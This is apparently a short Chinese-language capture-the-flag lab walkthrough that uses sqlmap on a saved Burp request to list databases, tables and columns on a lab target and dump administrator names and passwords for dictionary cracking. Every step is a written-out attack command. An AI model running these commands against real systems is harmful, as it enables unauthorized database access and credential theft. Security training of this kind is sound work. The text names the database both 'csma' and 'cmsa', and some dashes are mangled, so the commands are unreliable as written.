sqlmap获取管理密码和用户名

Sqlmap 获取flag

被攻击机172.16.0.216

被攻击机windows servesr2008-r

攻击机192.168.140.134

将该bp代理所得以文件形式命名为test.txt保存在虚拟机桌面

接下来sqlmap -r test.txt

发现数据库版本5.6+

接下来进入数据库列表

sqlmap -r test.txt –dbs

发现有8个数据库

sqlmap -r test.txt --current-db //查看当前数据库所使用的数据库为csma

sqlmap -r test.txt -D cmsa –tables

对该数据库进行表的爆破

然后根据英文意思我们选择来进行爆破表manage

sqlmap -r test.txt -D cmsa -T manage --columns  对表的东西进行爆破

接下来对column中的name和password user爆破

sqlmap -r test.txt -D cmsa -T manage -C password,name,user –dump

获取密码然后用字典解析